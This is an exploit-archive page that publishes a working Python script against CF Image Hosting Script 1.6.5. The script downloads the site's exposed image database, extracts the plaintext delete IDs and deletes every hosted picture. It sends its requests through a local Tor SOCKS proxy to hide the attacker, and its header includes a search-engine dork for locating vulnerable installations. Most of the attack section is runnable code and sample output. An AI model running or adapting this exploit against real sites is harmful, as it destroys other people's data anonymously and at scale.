exploit the possibilities

CF Image Hosting Script 1.6.5 Privilege Escalation

CF Image Hosting Script 1.6.5 Privilege Escalation
Posted Jan 8, 2019
Authored by David Tavarez

CF Image Hosting Script version 1.6.5 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | 73a177897c7c4a4cd09013c89fb30886

CF Image Hosting Script 1.6.5 Privilege Escalation

Change Mirror Download
#!/usr/bin/env python
"""
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
Google Dork: "Powered By CF Image Hosting script"
Date: 01/08/2019
Exploit Author: David Tavarez
Vendor Homepage: https://davidtavarez.github.io/
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
Version: 1.6.5
Tested on: Debian 9.6

By default, the database can be downloaded by any user. After decoding
the file the database should be unserialize. The DELETE ID is stored
in Plain Text, this ID can be use to delete a picture.

$ virtualenv cfexploit
$ source cfexploit/bin/activate
$ pip install phpserialize
$ pip install PySocks
$ python exploit.py http://127.0.0.1:8000

[-] Target: http://127.0.0.1:8000/
[-] Downloading the database...
[+] Decoding database...
[-] Finding pictues...
[+] Pictures found: 3
[+] Ready... let's do this! Deleting all pictures...
[+] Done.

"""
import phpserialize
import base64

import socks
import socket

import sys


def create_connection(address, timeout=None, source_address=None):
sock = socks.socksocket()
sock.connect(address)
return sock


socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)

# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection

import urllib2

if __name__ == '__main__':
if len(sys.argv) == 1:
print "ERROR: Provide a valid URL"
sys.exit(-1)
url = sys.argv[1]

ids = []

try:
print "[+] Target: {}".format(url)
print "[+] Downloading the database..."
response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))
print "[+] Decoding database..."
with open("imgdb.db.txt", "w+") as f:
f.write(base64.b64decode(response.read()))
print "[+] Finding pictues..."
for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems():
ids.append(value.get('deleteid'))
print "[+] Pictures found: {}".format(len(ids))
print "[+] Ready... let's do this! Deleting all pictures..."
for id in ids:
urllib2.urlopen("{}/?d={}".format(url, id))
print "[+] Done."

except urllib2.URLError, ex:
if ex.reason == "Forbidden":
print "[-] ERROR: this version is not vulnerable."
except EOFError, e:
raise e

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    1 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close